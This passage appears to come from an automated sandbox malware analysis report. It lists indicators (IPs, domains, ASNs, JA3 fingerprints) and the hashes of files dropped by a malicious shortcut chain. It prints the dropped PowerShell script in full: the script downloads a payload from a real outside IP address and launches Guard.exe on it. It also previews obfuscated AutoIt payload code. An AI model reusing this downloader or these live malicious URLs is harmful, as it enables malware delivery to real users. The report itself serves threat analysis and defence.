	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124/EsgMle.txt
	EO3RT0fEfb.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/ucZfzm.txt
	RMBOriPHVJ.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/mzmLv.txt
	S6x3K8vzCA.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/wPBPjuY.txt
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/BlQMSgJx.txt
	l5VhEpwzJy.exe	Get hash	malicious	Unknown	Browse	139.99.188.124/jiJNz.txt
147.45.49.155	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	tiffany-careers.com/PefjSkkhb.exe
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse	tiffany-careers.com/BFmcYQ.exe
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse	tiffany-careers.com/PefjSkkhb.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fg.microsoft.map.fastly.net	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	199.232.210.172
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	ko.ps1.2.ps1	Get hash	malicious	Unknown	Browse	199.232.210.172
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	199.232.210.172
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.214.172
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	199.232.210.172
chrome.cloudflare-dns.com	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Loader.exe	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.64.41.3
	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	SWIFT.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	Ocean-T2I4I8O9.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	invoice.docm	Get hash	malicious	Metasploit	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	94.245.104.56
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	94.245.104.56
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	jqplot.hta	Get hash	malicious	Unknown	Browse	147.45.112.248
	KNkr78hyig.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	Tsy9P2T9yF.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
	kGxQbLOG7s.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.113.159
	q79Pocl81P.exe	Get hash	malicious	Cryptbot	Browse	147.45.113.159
	fnuFOEqg4j.exe	Get hash	malicious	Unknown	Browse	147.45.113.159
AKAMAI-ASN1EU	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	23.55.153.106
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
OVHFR	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	139.99.188.124
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	149.202.242.118
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.92.237.128
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	91.134.82.79
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	66.70.211.36
	nsharm7.elf	Get hash	malicious	Mirai	Browse	51.195.199.38
	arm7.elf	Get hash	malicious	Mirai	Browse	8.33.207.91
	nshkarm5.elf	Get hash	malicious	Mirai	Browse	51.161.159.84
	NotaFiscalOnline.ClientSetup.ex#.exe	Get hash	malicious	ScreenConnect Tool	Browse	51.89.135.228

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	147.45.49.155
	DHL AWB-documents.lnk	Get hash	malicious	Divulge Stealer	Browse	147.45.49.155
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	147.45.49.155
	tg.exe	Get hash	malicious	Babadeda	Browse	147.45.49.155
	tg.exe	Get hash	malicious	Babadeda	Browse	147.45.49.155
	setup.exe	Get hash	malicious	Babadeda	Browse	147.45.49.155
37f463bf4616ecd445d4a1937da06e19	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	147.45.49.155
	gVKsiQIHqe.exe	Get hash	malicious	Vidar	Browse	147.45.49.155
	Rokadernes.vbs	Get hash	malicious	Remcos, GuLoader	Browse	147.45.49.155
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	147.45.49.155
	9EI7wrGs4K.exe	Get hash	malicious	Vidar	Browse	147.45.49.155
	setup.msi	Get hash	malicious	Unknown	Browse	147.45.49.155

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Guard.exe	7A2lfjTYNf.lnk	Get hash	malicious	Unknown	Browse
	6fW0guYpsH.lnk	Get hash	malicious	Unknown	Browse
	FzmtNV0vnG.lnk	Get hash	malicious	Unknown	Browse
	lKin1m7Pf2.lnk	Get hash	malicious	Unknown	Browse
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse
	s4PymYGgSh.lnk	Get hash	malicious	Unknown	Browse
	PkContent.exe	Get hash	malicious	Unknown	Browse
	PkContent.exe	Get hash	malicious	Unknown	Browse
	ldqj18tn.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.5166051194722658
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaD:cJhXC9lHmutpJyiRDeJ/aUKrDgnmp
MD5:	8AD4E76CD2A47A133FC812DF15B0C672
SHA1:	F1B0994C729940E9268E8A6626821526750082B8
SHA-256:	D89B52F6EFC8CEE9CE68B450B1040086FE7998CF4E8A472D39CF755B7AED6338
SHA-512:	7B3CA1ADE80B56A92370EDD0928C812159B8F74611DD27F1B5C935314238345CF2F26E1716AC7DC3C2B3641909ED510B2FE21AE6F2B8C189F964EFC66025AF11
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2afaad44, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.721734791832612
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:LazaNvFv8V2UW/DLzN/w4wZi
MD5:	9E8F908F7B1E02C5EFB9AE985B8427F5
SHA1:	0193F9CE578353D884FE47A981C57767F8E47095
SHA-256:	A18EA7CECE19707CA2832F1AADAE6E80BEFDA199E0E12C976FBDA21E5E494EDE
SHA-512:	1C6F46FD602C6D7D2EB67ACD9BA4FA432820BE2F065ECDFEC8165B305732A78E3CF8046A1C9A8E508F3B89A96994517E0BAF9DE86643C92091EBD531EEDDEB28
Malicious:	false
Preview:	*..D... ...............X\...;...{......................p.D..........{}.4'...\|..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................l..S4'...\|...................=..4'...\|...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0815240492575217
Encrypted:	false
SSDEEP:	3:3lKYemg8rgpBr/fgsCrZClW/t9l8rlltall+SHY/Xl+/rQLve:VKzqcfgs3GqxlIAS4M
MD5:	D0ED91EB5EC0137BFF40BD3779B80FF1
SHA1:	13EBC176C74CA32DB179416FD4442E379B87F058
SHA-256:	46F3E9847357733F372B67933F8D01A4F58361315761CEE2BEB76B21B3DFF260
SHA-512:	18A8E8046A5F0FF17F40A5B673C73137526828478EAA55B18872B183A0CDB1728F54EE0A41C48E274625110D23C6FB63D3DD5B8052C3945AEE20F7E9832B95BD
Malicious:	false
Preview:	g.......................................;...{..4'...\|.......{}..............{}......{}.vv_Q.....{}..................=..4'...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Guard.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: 7A2lfjTYNf.lnk, Detection: malicious, Browse Filename: 6fW0guYpsH.lnk, Detection: malicious, Browse Filename: FzmtNV0vnG.lnk, Detection: malicious, Browse Filename: lKin1m7Pf2.lnk, Detection: malicious, Browse Filename: R4qP4YM0QX.lnk, Detection: malicious, Browse Filename: R8CAg00Db8.lnk, Detection: malicious, Browse Filename: s4PymYGgSh.lnk, Detection: malicious, Browse Filename: PkContent.exe, Detection: malicious, Browse Filename: PkContent.exe, Detection: malicious, Browse Filename: ldqj18tn.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\PublicProfile.ps1

Download File

Process:	C:\Users\user\AppData\Roaming\PefjSkkhb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	486
Entropy (8bit):	5.264402695461477
Encrypted:	false
SSDEEP:	12:f73/oomFEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:f73/UCknZ9LzjYnRSb8Cba
MD5:	AA25D3FDAD1F106B38D0FC6EF7812219
SHA1:	1811C03BBAD3B7ED95835D4CC6D43C664C1B4A5B
SHA-256:	6CC303DD32C6F3629ACD59CFB6219D30D504AC12BBA0AFD87F38012E211496E0
SHA-512:	ED1809238957DAF71ADB4F3D0996D9CD51431AC0FB04180F4FEB5A4FE51CF07F95F935D8F56863B019AFAB737E03BE5E2E687FEB8C0416F4E470E40A282EC566
Malicious:	true
Preview:	[string]$fU5L = "http://139.99.188.124/QWCheljD.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L

C:\Users\Public\Secure.au3

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
Category:	dropped
Size (bytes):	1240103
Entropy (8bit):	5.144317310151777
Encrypted:	false
SSDEEP:	12288:28V+jcfSgyuH7Kixj+UXk8pL6OvsEmeXBWD4LkPq0e718m3UDd:qcB7HxicaEmEQD3I1jUZ
MD5:	5FD6DCD6015C6F3F00D18BE2CE75691F
SHA1:	63007CCA9ED6C2A903AA30B6FA00EB280D4879A2
SHA-256:	044C72C01C72338F3559D098BEBF9D251F911B9FF41DD958EB80D8F7C9583C31
SHA-512:	29DFDE6DBE2BDA1F6FBC7FACD06B9F66BED01BC5C01ECEFC6C35DE0A49D905869ADFFBC89B9934650CC6D28C3F0377FC6BE4CE25F92D54646A909DFAD7282219
Malicious:	true
Preview:	.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1eb88758-cfa3-48a5-b9b1-90f9f6799178.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60077
Entropy (8bit):	6.101906833971543
Encrypted:	false
SSDEEP:	1536:GMk1rT8H1nXRCBS2qX7bW43ongorQXdbik:GMYrT8VBkS20hDXdbr
MD5:	3D2F877CFB31FD43FDCDAFF6422C9300
SHA1:	F9001B14C6F5B316E7B6E2083B18C06B957B264E
SHA-256:	15A09D75ED3F8380F6422DC1B5422A1E687DE1D2CBA038738EF3CC861F85560D
SHA-512:	FD8C74FA01E9ACD8262B1ADDCEE7B8DE8188AA9563AE260A6986C01A18C85F0DA4EB75E984C17466714DDD3EFC59AC0FFC01F72D514177448B62540A840DCE0B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\40de5eb8-d327-4d09-9a14-5b290031be12.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58932
Entropy (8bit):	6.104964873955635
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOiRCBS2qX7bWwgorQXdbiR3oM:z/0+zI7yO4kS20IXdbe3
MD5:	16A551D74A6821D4BB19753FDA14FDCB
SHA1:	6C7BDC380F8454EB581D442893193DBBB57633AA
SHA-256:	411CF844CB06B0AF30843099439EAD5A2AA5D10533BB72E89BA0BBB2703D7A8B
SHA-512:	FBF4075535C43CD783C40AA32D1447BF6ABD6A4E5450B98B0A41E53D9D735A082F8B26E5BFA235DE79D2015162CCB514FEFCA735FB12516BD69D8D9CDA5AC1AE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\50b98cb8-89b2-489a-a2c1-eb091d47238d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60154
Entropy (8bit):	6.102025412095239
Encrypted:	false
SSDEEP:	1536:2Mk1rT8HDnXfCBS2qX7bW43ongorQXdbik:2MYrT8jPkS20hDXdbr
MD5:	BB8990B8B5EAB93EC034B4534B4CC1BE
SHA1:	A3CCCF7F9931AC3990452B4E7C32AF4AB93E8E0A
SHA-256:	6AB226FA915EF6A379ECD4ED95BB964D576AD57FF9D2AFDF58BB8110CAB57442
SHA-512:	C44A89684FA0CDC84A1CE030385BE181666C18E1F72600256E2522C115594D356689A40FD8538078702B8D6D225B20849AD5A01EBF98C2133CE871FE237586F3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640159935562401
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
MD5:	D50EDBCB24807CB644253C4476148A1B
SHA1:	CBA3D7B6C0134871E694EDEDD4430947482F654B
SHA-256:	F75AF9BFFA927D76B4E0FB3C973C20D43CBFCA892BFA38F25AC03E89F4B35F68
SHA-512:	B9E401E8831BEF324C55897C404C009CA6CF602366226322330454B03912660591458ED03EB9C59D5C7F56C406239E6195F2382A65DE1E28B334E49E9CEF12F2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\ef2c46ff-3728-4889-9981-cec8727e4213.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640159935562401
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
MD5:	D50EDBCB24807CB644253C4476148A1B
SHA1:	CBA3D7B6C0134871E694EDEDD4430947482F654B
SHA-256:	F75AF9BFFA927D76B4E0FB3C973C20D43CBFCA892BFA38F25AC03E89F4B35F68
SHA-512:	B9E401E8831BEF324C55897C404C009CA6CF602366226322330454B03912660591458ED03EB9C59D5C7F56C406239E6195F2382A65DE1E28B334E49E9CEF12F2
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
